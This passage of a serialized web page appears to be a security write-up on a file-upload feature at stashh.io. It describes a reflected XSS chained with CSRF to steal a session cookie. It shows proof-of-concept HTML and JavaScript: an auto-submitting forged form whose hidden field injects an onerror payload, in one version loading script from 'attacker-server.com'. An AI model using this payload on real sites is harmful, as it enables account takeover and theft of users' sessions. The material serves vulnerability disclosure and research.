\u003C",{"type":23,"tag":481,"props":29963,"children":29964},{"style":497},[29965],{"type":28,"value":29966},"form",{"type":23,"tag":481,"props":29968,"children":29969},{"style":508},[29970],{"type":28,"value":29971}," id",{"type":23,"tag":481,"props":29973,"children":29974},{"style":514},[29975],{"type":28,"value":603},{"type":23,"tag":481,"props":29977,"children":29978},{"style":1805},[29979],{"type":28,"value":29980},"\"form123\"",{"type":23,"tag":481,"props":29982,"children":29983},{"style":508},[29984],{"type":28,"value":29985}," action",{"type":23,"tag":481,"props":29987,"children":29988},{"style":514},[29989],{"type":28,"value":603},{"type":23,"tag":481,"props":29991,"children":29992},{"style":1805},[29993],{"type":28,"value":29994},"\"https://stashh.io/upload_asset\"",{"type":23,"tag":481,"props":29996,"children":29997},{"style":508},[29998],{"type":28,"value":14602},{"type":23,"tag":481,"props":30000,"children":30001},{"style":514},[30002],{"type":28,"value":603},{"type":23,"tag":481,"props":30004,"children":30005},{"style":1805},[30006],{"type":28,"value":30007},"\"POST\"",{"type":23,"tag":481,"props":30009,"children":30010},{"style":508},[30011],{"type":28,"value":30012}," enctype",{"type":23,"tag":481,"props":30014,"children":30015},{"style":514},[30016],{"type":28,"value":603},{"type":23,"tag":481,"props":30018,"children":30019},{"style":1805},[30020],{"type":28,"value":30021},"\"multipart/form-data\"",{"type":23,"tag":481,"props":30023,"children":30024},{"style":508},[30025],{"type":28,"value":30026}," value",{"type":23,"tag":481,"props":30028,"children":30029},{"style":514},[30030],{"type":28,"value":603},{"type":23,"tag":481,"props":30032,"children":30033},{"style":1805},[30034],{"type":28,"value":30035},"\"asd\"",{"type":23,"tag":481,"props":30037,"children":30038},{"style":29891},[30039],{"type":28,"value":3469},{"type":23,"tag":481,"props":30041,"children":30042},{"class":483,"line":678},[30043,30048,30052,30057,30061,30066,30071,30075,30080,30084,30088,30093],{"type":23,"tag":481,"props":30044,"children":30045},{"style":29891},[30046],{"type":28,"value":30047}," \u003C",{"type":23,"tag":481,"props":30049,"children":30050},{"style":497},[30051],{"type":28,"value":5846},{"type":23,"tag":481,"props":30053,"children":30054},{"style":508},[30055],{"type":28,"value":30056}," type",{"type":23,"tag":481,"props":30058,"children":30059},{"style":514},[30060],{"type":28,"value":603},{"type":23,"tag":481,"props":30062,"children":30063},{"style":1805},[30064],{"type":28,"value":30065},"\"file\"",{"type":23,"tag":481,"props":30067,"children":30068},{"style":508},[30069],{"type":28,"value":30070}," name",{"type":23,"tag":481,"props":30072,"children":30073},{"style":514},[30074],{"type":28,"value":603},{"type":23,"tag":481,"props":30076,"children":30077},{"style":1805},[30078],{"type":28,"value":30079},"\"data\"",{"type":23,"tag":481,"props":30081,"children":30082},{"style":508},[30083],{"type":28,"value":29971},{"type":23,"tag":481,"props":30085,"children":30086},{"style":514},[30087],{"type":28,"value":603},{"type":23,"tag":481,"props":30089,"children":30090},{"style":1805},[30091],{"type":28,"value":30092},"\"file123\"",{"type":23,"tag":481,"props":30094,"children":30095},{"style":29891},[30096],{"type":28,"value":3469},{"type":23,"tag":481,"props":30098,"children":30099},{"class":483,"line":784},[30100,30105,30109,30113,30117,30122,30126,30130,30135,30139,30143,30147,30152,30157,30162,30167,30172,30176,30181,30186,30191,30195,30200,30205,30209,30214,30219,30224,30229,30234,30239,30244,30248,30253,30258,30263,30268,30273,30277,30282,30287,30291],{"type":23,"tag":481,"props":30101,"children":30102},{"style":29891},[30103],{"type":28,"value":30104}," \u003C",{"type":23,"tag":481,"props":30106,"children":30107},{"style":497},[30108],{"type":28,"value":5846},{"type":23,"tag":481,"props":30110,"children":30111},{"style":508},[30112],{"type":28,"value":30056},{"type":23,"tag":481,"props":30114,"children":30115},{"style":514},[30116],{"type":28,"value":603},{"type":23,"tag":481,"props":30118,"children":30119},{"style":1805},[30120],{"type":28,"value":30121},"\"hidden\"",{"type":23,"tag":481,"props":30123,"children":30124},{"style":508},[30125],{"type":28,"value":30070},{"type":23,"tag":481,"props":30127,"children":30128},{"style":514},[30129],{"type":28,"value":603},{"type":23,"tag":481,"props":30131,"children":30132},{"style":1805},[30133],{"type":28,"value":30134},"\"config\"",{"type":23,"tag":481,"props":30136,"children":30137},{"style":508},[30138],{"type":28,"value":30026},{"type":23,"tag":481,"props":30140,"children":30141},{"style":514},[30142],{"type":28,"value":603},{"type":23,"tag":481,"props":30144,"children":30145},{"style":1805},[30146],{"type":28,"value":17557},{"type":23,"tag":481,"props":30148,"children":30149},{"style":497},[30150],{"type":28,"value":30151},"{"",{"type":23,"tag":481,"props":30153,"children":30154},{"style":1805},[30155],{"type":28,"value":30156},"address",{"type":23,"tag":481,"props":30158,"children":30159},{"style":497},[30160],{"type":28,"value":30161},"":"",{"type":23,"tag":481,"props":30163,"children":30164},{"style":1805},[30165],{"type":28,"value":30166},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":23,"tag":481,"props":30168,"children":30169},{"style":497},[30170],{"type":28,"value":30171},"<",{"type":23,"tag":481,"props":30173,"children":30174},{"style":1805},[30175],{"type":28,"value":149},{"type":23,"tag":481,"props":30177,"children":30178},{"style":497},[30179],{"type":28,"value":30180},"/",{"type":23,"tag":481,"props":30182,"children":30183},{"style":1805},[30184],{"type":28,"value":30185},"src",{"type":23,"tag":481,"props":30187,"children":30188},{"style":497},[30189],{"type":28,"value":30190},"=",{"type":23,"tag":481,"props":30192,"children":30193},{"style":1805},[30194],{"type":28,"value":16772},{"type":23,"tag":481,"props":30196,"children":30197},{"style":497},[30198],{"type":28,"value":30199}," ",{"type":23,"tag":481,"props":30201,"children":30202},{"style":1805},[30203],{"type":28,"value":30204},"onerror",{"type":23,"tag":481,"props":30206,"children":30207},{"style":497},[30208],{"type":28,"value":30190},{"type":23,"tag":481,"props":30210,"children":30211},{"style":1805},[30212],{"type":28,"value":30213},"alert",{"type":23,"tag":481,"props":30215,"children":30216},{"style":497},[30217],{"type":28,"value":30218},"(",{"type":23,"tag":481,"props":30220,"children":30221},{"style":1805},[30222],{"type":28,"value":30223},"document",{"type":23,"tag":481,"props":30225,"children":30226},{"style":497},[30227],{"type":28,"value":30228},".",{"type":23,"tag":481,"props":30230,"children":30231},{"style":1805},[30232],{"type":28,"value":30233},"domain",{"type":23,"tag":481,"props":30235,"children":30236},{"style":497},[30237],{"type":28,"value":30238},")>","",{"type":23,"tag":481,"props":30240,"children":30241},{"style":1805},[30242],{"type":28,"value":30243},"to",{"type":23,"tag":481,"props":30245,"children":30246},{"style":497},[30247],{"type":28,"value":30161},{"type":23,"tag":481,"props":30249,"children":30250},{"style":1805},[30251],{"type":28,"value":30252},"profile",{"type":23,"tag":481,"props":30254,"children":30255},{"style":497},[30256],{"type":28,"value":30257},"-",{"type":23,"tag":481,"props":30259,"children":30260},{"style":1805},[30261],{"type":28,"value":30262},"assets",{"type":23,"tag":481,"props":30264,"children":30265},{"style":497},[30266],{"type":28,"value":30267},"","",{"type":23,"tag":481,"props":30269,"children":30270},{"style":1805},[30271],{"type":28,"value":30272},"type",{"type":23,"tag":481,"props":30274,"children":30275},{"style":497},[30276],{"type":28,"value":30161},{"type":23,"tag":481,"props":30278,"children":30279},{"style":1805},[30280],{"type":28,"value":30281},"icon",{"type":23,"tag":481,"props":30283,"children":30284},{"style":497},[30285],{"type":28,"value":30286},""}",{"type":23,"tag":481,"props":30288,"children":30289},{"style":1805},[30290],{"type":28,"value":17557},{"type":23,"tag":481,"props":30292,"children":30293},{"style":29891},[30294],{"type":28,"value":30295}," />\n",{"type":23,"tag":481,"props":30297,"children":30298},{"class":483,"line":812},[30299,30303,30307,30311,30315,30320,30324,30328,30333],{"type":23,"tag":481,"props":30300,"children":30301},{"style":29891},[30302],{"type":28,"value":30104},{"type":23,"tag":481,"props":30304,"children":30305},{"style":497},[30306],{"type":28,"value":5846},{"type":23,"tag":481,"props":30308,"children":30309},{"style":508},[30310],{"type":28,"value":30056},{"type":23,"tag":481,"props":30312,"children":30313},{"style":514},[30314],{"type":28,"value":603},{"type":23,"tag":481,"props":30316,"children":30317},{"style":1805},[30318],{"type":28,"value":30319},"\"submit\"",{"type":23,"tag":481,"props":30321,"children":30322},{"style":508},[30323],{"type":28,"value":30026},{"type":23,"tag":481,"props":30325,"children":30326},{"style":514},[30327],{"type":28,"value":603},{"type":23,"tag":481,"props":30329,"children":30330},{"style":1805},[30331],{"type":28,"value":30332},"\"Submit request\"",{"type":23,"tag":481,"props":30334,"children":30335},{"style":29891},[30336],{"type":28,"value":30295},{"type":23,"tag":481,"props":30338,"children":30339},{"class":483,"line":825},[30340,30345,30349],{"type":23,"tag":481,"props":30341,"children":30342},{"style":29891},[30343],{"type":28,"value":30344}," \u003C/",{"type":23,"tag":481,"props":30346,"children":30347},{"style":497},[30348],{"type":28,"value":29966},{"type":23,"tag":481,"props":30350,"children":30351},{"style":29891},[30352],{"type":28,"value":3469},{"type":23,"tag":481,"props":30354,"children":30355},{"class":483,"line":843},[30356,30361,30365],{"type":23,"tag":481,"props":30357,"children":30358},{"style":29891},[30359],{"type":28,"value":30360}," \u003C/",{"type":23,"tag":481,"props":30362,"children":30363},{"style":497},[30364],{"type":28,"value":29915},{"type":23,"tag":481,"props":30366,"children":30367},{"style":29891},[30368],{"type":28,"value":3469},{"type":23,"tag":481,"props":30370,"children":30371},{"class":483,"line":864},[30372],{"type":23,"tag":481,"props":30373,"children":30374},{"emptyLinePlaceholder":15},[30375],{"type":28,"value":1210},{"type":23,"tag":481,"props":30377,"children":30378},{"class":483,"line":873},[30379,30383,30387],{"type":23,"tag":481,"props":30380,"children":30381},{"style":29891},[30382],{"type":28,"value":29910},{"type":23,"tag":481,"props":30384,"children":30385},{"style":497},[30386],{"type":28,"value":29931},{"type":23,"tag":481,"props":30388,"children":30389},{"style":29891},[30390],{"type":28,"value":3469},{"type":23,"tag":481,"props":30392,"children":30393},{"class":483,"line":1125},[30394],{"type":23,"tag":481,"props":30395,"children":30396},{"emptyLinePlaceholder":15},[30397],{"type":28,"value":1210},{"type":23,"tag":481,"props":30399,"children":30400},{"class":483,"line":1142},[30401,30406],{"type":23,"tag":481,"props":30402,"children":30403},{"style":525},[30404],{"type":28,"value":30405}," (async ()=>",{"type":23,"tag":481,"props":30407,"children":30408},{"style":497},[30409],{"type":28,"value":8366},{"type":23,"tag":481,"props":30411,"children":30412},{"class":483,"line":1159},[30413,30418,30423,30428,30433,30437,30441,30446,30450,30455,30460,30465],{"type":23,"tag":481,"props":30414,"children":30415},{"style":508},[30416],{"type":28,"value":30417}," const",{"type":23,"tag":481,"props":30419,"children":30420},{"style":508},[30421],{"type":28,"value":30422}," blob",{"type":23,"tag":481,"props":30424,"children":30425},{"style":514},[30426],{"type":28,"value":30427}," = ",{"type":23,"tag":481,"props":30429,"children":30430},{"style":535},[30431],{"type":28,"value":30432},"await",{"type":23,"tag":481,"props":30434,"children":30435},{"style":514},[30436],{"type":28,"value":578},{"type":23,"tag":481,"props":30438,"children":30439},{"style":535},[30440],{"type":28,"value":30432},{"type":23,"tag":481,"props":30442,"children":30443},{"style":610},[30444],{"type":28,"value":30445}," fetch",{"type":23,"tag":481,"props":30447,"children":30448},{"style":514},[30449],{"type":28,"value":618},{"type":23,"tag":481,"props":30451,"children":30452},{"style":1805},[30453],{"type":28,"value":30454},"\"/sapo.png\"",{"type":23,"tag":481,"props":30456,"children":30457},{"style":514},[30458],{"type":28,"value":30459},")).",{"type":23,"tag":481,"props":30461,"children":30462},{"style":610},[30463],{"type":28,"value":30464},"blob",{"type":23,"tag":481,"props":30466,"children":30467},{"style":514},[30468],{"type":28,"value":5214},{"type":23,"tag":481,"props":30470,"children":30471},{"class":483,"line":1172},[30472],{"type":23,"tag":481,"props":30473,"children":30474},{"emptyLinePlaceholder":15},[30475],{"type":28,"value":1210},{"type":23,"tag":481,"props":30477,"children":30478},{"class":483,"line":1181},[30479,30483,30488,30492,30496,30501,30506,30510,30514,30519,30524,30529,30534],{"type":23,"tag":481,"props":30480,"children":30481},{"style":508},[30482],{"type":28,"value":573},{"type":23,"tag":481,"props":30484,"children":30485},{"style":508},[30486],{"type":28,"value":30487}," f",{"type":23,"tag":481,"props":30489,"children":30490},{"style":514},[30491],{"type":28,"value":30427},{"type":23,"tag":481,"props":30493,"children":30494},{"style":497},[30495],{"type":28,"value":12611},{"type":23,"tag":481,"props":30497,"children":30498},{"style":610},[30499],{"type":28,"value":30500}," File",{"type":23,"tag":481,"props":30502,"children":30503},{"style":514},[30504],{"type":28,"value":30505},"([",{"type":23,"tag":481,"props":30507,"children":30508},{"style":508},[30509],{"type":28,"value":30464},{"type":23,"tag":481,"props":30511,"children":30512},{"style":514},[30513],{"type":28,"value":20559},{"type":23,"tag":481,"props":30515,"children":30516},{"style":1805},[30517],{"type":28,"value":30518},"'sapo.png'",{"type":23,"tag":481,"props":30520,"children":30521},{"style":514},[30522],{"type":28,"value":30523},", {",{"type":23,"tag":481,"props":30525,"children":30526},{"style":508},[30527],{"type":28,"value":30528},"type:",{"type":23,"tag":481,"props":30530,"children":30531},{"style":1805},[30532],{"type":28,"value":30533}," 'image/png'",{"type":23,"tag":481,"props":30535,"children":30536},{"style":514},[30537],{"type":28,"value":30538},"})\n",{"type":23,"tag":481,"props":30540,"children":30541},{"class":483,"line":1204},[30542,30546,30551,30555,30559,30564],{"type":23,"tag":481,"props":30543,"children":30544},{"style":508},[30545],{"type":28,"value":30417},{"type":23,"tag":481,"props":30547,"children":30548},{"style":508},[30549],{"type":28,"value":30550}," dataTransfer",{"type":23,"tag":481,"props":30552,"children":30553},{"style":514},[30554],{"type":28,"value":30427},{"type":23,"tag":481,"props":30556,"children":30557},{"style":497},[30558],{"type":28,"value":12611},{"type":23,"tag":481,"props":30560,"children":30561},{"style":610},[30562],{"type":28,"value":30563}," DataTransfer",{"type":23,"tag":481,"props":30565,"children":30566},{"style":514},[30567],{"type":28,"value":1201},{"type":23,"tag":481,"props":30569,"children":30570},{"class":483,"line":1213},[30571,30576,30580,30585,30589,30593,30597,30602],{"type":23,"tag":481,"props":30572,"children":30573},{"style":508},[30574],{"type":28,"value":30575}," dataTransfer",{"type":23,"tag":481,"props":30577,"children":30578},{"style":514},[30579],{"type":28,"value":199},{"type":23,"tag":481,"props":30581,"children":30582},{"style":508},[30583],{"type":28,"value":30584},"items",{"type":23,"tag":481,"props":30586,"children":30587},{"style":514},[30588],{"type":28,"value":199},{"type":23,"tag":481,"props":30590,"children":30591},{"style":610},[30592],{"type":28,"value":7122},{"type":23,"tag":481,"props":30594,"children":30595},{"style":514},[30596],{"type":28,"value":618},{"type":23,"tag":481,"props":30598,"children":30599},{"style":508},[30600],{"type":28,"value":30601},"f",{"type":23,"tag":481,"props":30603,"children":30604},{"style":514},[30605],{"type":28,"value":1366},{"type":23,"tag":481,"props":30607,"children":30608},{"class":483,"line":1222},[30609],{"type":23,"tag":481,"props":30610,"children":30611},{"emptyLinePlaceholder":15},[30612],{"type":28,"value":1210},{"type":23,"tag":481,"props":30614,"children":30615},{"class":483,"line":1291},[30616,30621,30625,30630,30634,30639,30643,30647],{"type":23,"tag":481,"props":30617,"children":30618},{"style":508},[30619],{"type":28,"value":30620}," file123",{"type":23,"tag":481,"props":30622,"children":30623},{"style":514},[30624],{"type":28,"value":199},{"type":23,"tag":481,"props":30626,"children":30627},{"style":508},[30628],{"type":28,"value":30629},"files",{"type":23,"tag":481,"props":30631,"children":30632},{"style":514},[30633],{"type":28,"value":30427},{"type":23,"tag":481,"props":30635,"children":30636},{"style":508},[30637],{"type":28,"value":30638},"dataTransfer",{"type":23,"tag":481,"props":30640,"children":30641},{"style":514},[30642],{"type":28,"value":199},{"type":23,"tag":481,"props":30644,"children":30645},{"style":508},[30646],{"type":28,"value":30629},{"type":23,"tag":481,"props":30648,"children":30649},{"style":514},[30650],{"type":28,"value":528},{"type":23,"tag":481,"props":30652,"children":30653},{"class":483,"line":1299},[30654,30659],{"type":23,"tag":481,"props":30655,"children":30656},{"style":497},[30657],{"type":28,"value":30658}," }",{"type":23,"tag":481,"props":30660,"children":30661},{"style":525},[30662],{"type":28,"value":30663},")()\n",{"type":23,"tag":481,"props":30665,"children":30666},{"class":483,"line":1329},[30667],{"type":23,"tag":481,"props":30668,"children":30669},{"emptyLinePlaceholder":15},[30670],{"type":28,"value":1210},{"type":23,"tag":481,"props":30672,"children":30673},{"class":483,"line":1337},[30674,30678,30682],{"type":23,"tag":481,"props":30675,"children":30676},{"style":29891},[30677],{"type":28,"value":30360},{"type":23,"tag":481,"props":30679,"children":30680},{"style":497},[30681],{"type":28,"value":29931},{"type":23,"tag":481,"props":30683,"children":30684},{"style":29891},[30685],{"type":28,"value":3469},{"type":23,"tag":481,"props":30687,"children":30688},{"class":483,"line":1369},[30689,30693,30697],{"type":23,"tag":481,"props":30690,"children":30691},{"style":29891},[30692],{"type":28,"value":29945},{"type":23,"tag":481,"props":30694,"children":30695},{"style":497},[30696],{"type":28,"value":29898},{"type":23,"tag":481,"props":30698,"children":30699},{"style":29891},[30700],{"type":28,"value":3469},{"type":23,"tag":24,"props":30702,"children":30703},{},[30704],{"type":28,"value":30705},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":23,"tag":24,"props":30707,"children":30708},{},[30709],{"type":28,"value":30710},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":23,"tag":24,"props":30712,"children":30713},{},[30714],{"type":28,"value":30715},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":23,"tag":24,"props":30717,"children":30718},{},[30719],{"type":28,"value":30720},"From here, we were able to steal the session cookie from local storage.",{"type":23,"tag":435,"props":30722,"children":30724},{"className":28878,"code":30723,"language":28880,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n\n form123.submit()\n })()\n\n \u003C/script>\n\u003C/html>\n",[30725],{"type":23,"tag":64,"props":30726,"children":30727},{"__ignoreMap":7},[30728,30743,30758,30789,30864,30915,31103,31142,31157,31172,31179,31194,31201,31212,31263,31270,31325,31352,31387,31394,31429,31436,31457,31468,31475,31490],{"type":23,"tag":481,"props":30729,"children":30730},{"class":483,"line":484},[30731,30735,30739],{"type":23,"tag":481,"props":30732,"children":30733},{"style":29891},[30734],{"type":28,"value":3282},{"type":23,"tag":481,"props":30736,"children":30737},{"style":497},[30738],{"type":28,"value":29898},{"type":23,"tag":481,"props":30740,"children":30741},{"style":29891},[30742],{"type":28,"value":3469},{"type":23,"tag":481,"props":30744,"children":30745},{"class":483,"line":351},[30746,30750,30754],{"type":23,"tag":481,"props":30747,"children":30748},{"style":29891},[30749],{"type":28,"value":29910},{"type":23,"tag":481,"props":30751,"children":30752},{"style":497},[30753],{"type":28,"value":29915},{"type":23,"tag":481,"props":30755,"children":30756},{"style":29891},[30757],{"type":28,"value":3469},{"type":23,"tag":481,"props":30759,"children":30760},{"class":483,"line":531},[30761,30765,30769,30773,30777,30781,30785],{"type":23,"tag":481,"props":30762,"children":30763},{"style":29891},[30764],{"type":28,"value":29910},{"type":23,"tag":481,"props":30766,"children":30767},{"style":497},[30768],{"type":28,"value":29931},{"type":23,"tag":481,"props":30770,"children":30771},{"style":29891},[30772],{"type":28,"value":7947},{"type":23,"tag":481,"props":30774,"children":30775},{"style":525},[30776],{"type":28,"value":29940},{"type":23,"tag":481,"props":30778,"children":30779},{"style":29891},[30780],{"type":28,"value":29945},{"type":23,"tag":481,"props":30782,"children":30783},{"style":497},[30784],{"type":28,"value":29931},{"type":23,"tag":481,"props":30786,"children":30787},{"style":29891},[30788],{"type":28,"value":3469},{"type":23,"tag":481,"props":30790,"children":30791},{"class":483,"line":567},[30792,30796,30800,30804,30808,30812,30816,30820,30824,30828,30832,30836,30840,30844,30848,30852,30856,30860],{"type":23,"tag":481,"props":30793,"children":30794},{"style":29891},[30795],{"type":28,"value":29961},{"type":23,"tag":481,"props":30797,"children":30798},{"style":497},[30799],{"type":28,"value":29966},{"type":23,"tag":481,"props":30801,"children":30802},{"style":508},[30803],{"type":28,"value":29971},{"type":23,"tag":481,"props":30805,"children":30806},{"style":514},[30807],{"type":28,"value":603},{"type":23,"tag":481,"props":30809,"children":30810},{"style":1805},[30811],{"type":28,"value":29980},{"type":23,"tag":481,"props":30813,"children":30814},{"style":508},[30815],{"type":28,"value":29985},{"type":23,"tag":481,"props":30817,"children":30818},{"style":514},[30819],{"type":28,"value":603},{"type":23,"tag":481,"props":30821,"children":30822},{"style":1805},[30823],{"type":28,"value":29994},{"type":23,"tag":481,"props":30825,"children":30826},{"style":508},[30827],{"type":28,"value":14602},{"type":23,"tag":481,"props":30829,"children":30830},{"style":514},[30831],{"type":28,"value":603},{"type":23,"tag":481,"props":30833,"children":30834},{"style":1805},[30835],{"type":28,"value":30007},{"type":23,"tag":481,"props":30837,"children":30838},{"style":508},[30839],{"type":28,"value":30012},{"type":23,"tag":481,"props":30841,"children":30842},{"style":514},[30843],{"type":28,"value":603},{"type":23,"tag":481,"props":30845,"children":30846},{"style":1805},[30847],{"type":28,"value":30021},{"type":23,"tag":481,"props":30849,"children":30850},{"style":508},[30851],{"type":28,"value":30026},{"type":23,"tag":481,"props":30853,"children":30854},{"style":514},[30855],{"type":28,"value":603},{"type":23,"tag":481,"props":30857,"children":30858},{"style":1805},[30859],{"type":28,"value":30035},{"type":23,"tag":481,"props":30861,"children":30862},{"style":29891},[30863],{"type":28,"value":3469},{"type":23,"tag":481,"props":30865,"children":30866},{"class":483,"line":678},[30867,30871,30875,30879,30883,30887,30891,30895,30899,30903,30907,30911],{"type":23,"tag":481,"props":30868,"children":30869},{"style":29891},[30870],{"type":28,"value":30047},{"type":23,"tag":481,"props":30872,"children":30873},{"style":497},[30874],{"type":28,"value":5846},{"type":23,"tag":481,"props":30876,"children":30877},{"style":508},[30878],{"type":28,"value":30056},{"type":23,"tag":481,"props":30880,"children":30881},{"style":514},[30882],{"type":28,"value":603},{"type":23,"tag":481,"props":30884,"children":30885},{"style":1805},[30886],{"type":28,"value":30065},{"type":23,"tag":481,"props":30888,"children":30889},{"style":508},[30890],{"type":28,"value":30070},{"type":23,"tag":481,"props":30892,"children":30893},{"style":514},[30894],{"type":28,"value":603},{"type":23,"tag":481,"props":30896,"children":30897},{"style":1805},[30898],{"type":28,"value":30079},{"type":23,"tag":481,"props":30900,"children":30901},{"style":508},[30902],{"type":28,"value":29971},{"type":23,"tag":481,"props":30904,"children":30905},{"style":514},[30906],{"type":28,"value":603},{"type":23,"tag":481,"props":30908,"children":30909},{"style":1805},[30910],{"type":28,"value":30092},{"type":23,"tag":481,"props":30912,"children":30913},{"style":29891},[30914],{"type":28,"value":3469},{"type":23,"tag":481,"props":30916,"children":30917},{"class":483,"line":784},[30918,30922,30926,30930,30934,30938,30942,30946,30950,30954,30958,30962,30967,30971,30976,30980,30985,30989,30994,30999,31003,31007,31012,31017,31022,31027,31032,31037,31041,31046,31050,31054,31059,31063,31068,31073,31078,31082,31086,31090,31095,31099],{"type":23,"tag":481,"props":30919,"children":30920},{"style":29891},[30921],{"type":28,"value":30104},{"type":23,"tag":481,"props":30923,"children":30924},{"style":497},[30925],{"type":28,"value":5846},{"type":23,"tag":481,"props":30927,"children":30928},{"style":508},[30929],{"type":28,"value":30056},{"type":23,"tag":481,"props":30931,"children":30932},{"style":514},[30933],{"type":28,"value":603},{"type":23,"tag":481,"props":30935,"children":30936},{"style":1805},[30937],{"type":28,"value":30121},{"type":23,"tag":481,"props":30939,"children":30940},{"style":508},[30941],{"type":28,"value":30070},{"type":23,"tag":481,"props":30943,"children":30944},{"style":514},[30945],{"type":28,"value":603},{"type":23,"tag":481,"props":30947,"children":30948},{"style":1805},[30949],{"type":28,"value":30134},{"type":23,"tag":481,"props":30951,"children":30952},{"style":508},[30953],{"type":28,"value":30026},{"type":23,"tag":481,"props":30955,"children":30956},{"style":514},[30957],{"type":28,"value":603},{"type":23,"tag":481,"props":30959,"children":30960},{"style":1805},[30961],{"type":28,"value":17557},{"type":23,"tag":481,"props":30963,"children":30964},{"style":497},[30965],{"type":28,"value":30966},"{"",{"type":23,"tag":481,"props":30968,"children":30969},{"style":1805},[30970],{"type":28,"value":30156},{"type":23,"tag":481,"props":30972,"children":30973},{"style":497},[30974],{"type":28,"value":30975},"":"<",{"type":23,"tag":481,"props":30977,"children":30978},{"style":1805},[30979],{"type":28,"value":149},{"type":23,"tag":481,"props":30981,"children":30982},{"style":497},[30983],{"type":28,"value":30984},"/",{"type":23,"tag":481,"props":30986,"children":30987},{"style":1805},[30988],{"type":28,"value":30185},{"type":23,"tag":481,"props":30990,"children":30991},{"style":497},[30992],{"type":28,"value":30993},"=",{"type":23,"tag":481,"props":30995,"children":30996},{"style":1805},[30997],{"type":28,"value":30998},"x onerror",{"type":23,"tag":481,"props":31000,"children":31001},{"style":497},[31002],{"type":28,"value":30993},{"type":23,"tag":481,"props":31004,"children":31005},{"style":1805},[31006],{"type":28,"value":16980},{"type":23,"tag":481,"props":31008,"children":31009},{"style":497},[31010],{"type":28,"value":31011},"(`",{"type":23,"tag":481,"props":31013,"children":31014},{"style":1805},[31015],{"type":28,"value":31016},"https",{"type":23,"tag":481,"props":31018,"children":31019},{"style":497},[31020],{"type":28,"value":31021},"://",{"type":23,"tag":481,"props":31023,"children":31024},{"style":1805},[31025],{"type":28,"value":31026},"attacker-server",{"type":23,"tag":481,"props":31028,"children":31029},{"style":497},[31030],{"type":28,"value":31031},".",{"type":23,"tag":481,"props":31033,"children":31034},{"style":1805},[31035],{"type":28,"value":31036},"com",{"type":23,"tag":481,"props":31038,"children":31039},{"style":497},[31040],{"type":28,"value":30984},{"type":23,"tag":481,"props":31042,"children":31043},{"style":1805},[31044],{"type":28,"value":31045},"leak",{"type":23,"tag":481,"props":31047,"children":31048},{"style":497},[31049],{"type":28,"value":31031},{"type":23,"tag":481,"props":31051,"children":31052},{"style":1805},[31053],{"type":28,"value":28880},{"type":23,"tag":481,"props":31055,"children":31056},{"style":497},[31057],{"type":28,"value":31058},"`)>","",{"type":23,"tag":481,"props":31060,"children":31061},{"style":1805},[31062],{"type":28,"value":30243},{"type":23,"tag":481,"props":31064,"children":31065},{"style":497},[31066],{"type":28,"value":31067},"":"",{"type":23,"tag":481,"props":31069,"children":31070},{"style":1805},[31071],{"type":28,"value":31072},"profile-assets",{"type":23,"tag":481,"props":31074,"children":31075},{"style":497},[31076],{"type":28,"value":31077},"","",{"type":23,"tag":481,"props":31079,"children":31080},{"style":1805},[31081],{"type":28,"value":30272},{"type":23,"tag":481,"props":31083,"children":31084},{"style":497},[31085],{"type":28,"value":31067},{"type":23,"tag":481,"props":31087,"children":31088},{"style":1805},[31089],{"type":28,"value":30281},{"type":23,"tag":481,"props":31091,"children":31092},{"style":497},[31093],{"type":28,"value":31094},""}",{"type":23,"tag":481,"props":31096,"children":31097},{"style":1805},[31098],{"type":28,"value":17557},{"type":23,"tag":481,"props":31100,"children":31101},{"style":29891},[31102],{"type":28,"value":30295},{"type":23,"tag":481,"props":31104,"children":31105},{"class":483,"line":812},[31106,31110,31114,31118,31122,31126,31130,31134,31138],{"type":23,"tag":481,"props":31107,"children":31108},{"style":29891},[31109],{"type":28,"value":30104},{"type":23,"tag":481,"props":31111,"children":31112},{"style":497},[31113],{"type":28,"value":5846},{"type":23,"tag":481,"props":31115,"children":31116},{"style":508},[31117],{"type":28,"value":30056},{"type":23,"tag":481,"props":31119,"children":31120},{"style":514},[31121],{"type":28,"value":603},{"type":23,"tag":481,"props":31123,"children":31124},{"style":1805},[31125],{"type":28,"value":30319},{"type":23,"tag":481,"props":31127,"children":31128},{"style":508},[31129],{"type":28,"value":30026},{"type":23,"tag":481,"props":31131,"children":31132},{"style":514},[31133],{"type":28,"value":603},{"type":23,"tag":481,"props":31135,"children":31136},{"style":1805},[31137],{"type":28,"value":30332},{"type":23,"tag":481,"props":31139,"children":31140},{"style":29891},[31141],{"type":28,"value":30295},{"type":23,"tag":481,"props":31143,"children":31144},{"class":483,"line":825},[31145,31149,31153],{"type":23,"tag":481,"props":31146,"children":31147},{"style":29891},[31148],{"type":28,"value":30344},{"type":23,"tag":481,"props":31150,"children":31151},{"style":497},[31152],{"type":28,"value":29966},{"type":23,"tag":481,"props":31154,"children":31155},{"style":29891},[31156],{"type":28,"value":3469},{"type":23,"tag":481,"props":31158,"children":31159},{"class":483,"line":843},[31160,31164,31168],{"type":23,"tag":481,"props":31161,"children":31162},{"style":29891},[31163],{"type":28,"value":30360},{"type":23,"tag":481,"props":31165,"children":31166},{"style":497},[31167],{"type":28,"value":29915},{"type":23,"tag":481,"props":31169,"children":31170},{"style":29891},[31171],{"type":28,"value":3469},{"type":23,"tag":481,"props":31173,"children":31174},{"class":483,"line":864},[31175],{"type":23,"tag":481,"props":31176,"children":31177},{"emptyLinePlaceholder":15},[31178],{"type":28,"value":1210},{"type":23,"tag":481,"props":31180,"children":31181},{"class":483,"line":873}